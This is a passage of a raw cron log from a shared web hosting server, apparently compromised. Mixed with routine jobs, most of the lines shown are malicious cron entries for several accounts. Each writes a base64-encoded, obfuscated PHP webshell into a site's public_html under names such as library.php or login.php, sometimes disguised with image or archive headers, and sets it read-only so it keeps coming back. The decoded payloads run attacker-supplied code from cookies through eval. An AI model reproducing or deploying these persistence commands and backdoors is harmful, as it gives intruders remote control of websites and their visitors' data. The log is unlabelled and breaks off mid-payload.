mJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:40:01 medusa CROND[16979]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:40:01 medusa CROND[16980]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:40:01 medusa CROND[16984]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:40:01 medusa CROND[16983]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:41:02 medusa CROND[18690]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:41:02 medusa CROND[18691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:41:02 medusa CROND[18692]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:41:02 medusa CROND[18693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:41:02 medusa CROND[18694]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:41:02 medusa CROND[18696]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:41:02 medusa CROND[18698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:41:02 medusa CROND[18700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:41:02 medusa CROND[18701]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:41:02 medusa CROND[18702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:41:02 medusa CROND[18703]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:41:02 medusa CROND[18705]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:41:02 medusa CROND[18707]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:41:02 medusa CROND[18718]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:42:01 medusa CROND[20205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:42:01 medusa CROND[20206]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:42:01 medusa CROND[20207]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:42:01 medusa CROND[20208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:42:01 medusa CROND[20209]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:42:01 medusa CROND[20210]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:42:01 medusa CROND[20211]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:42:01 medusa CROND[20215]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF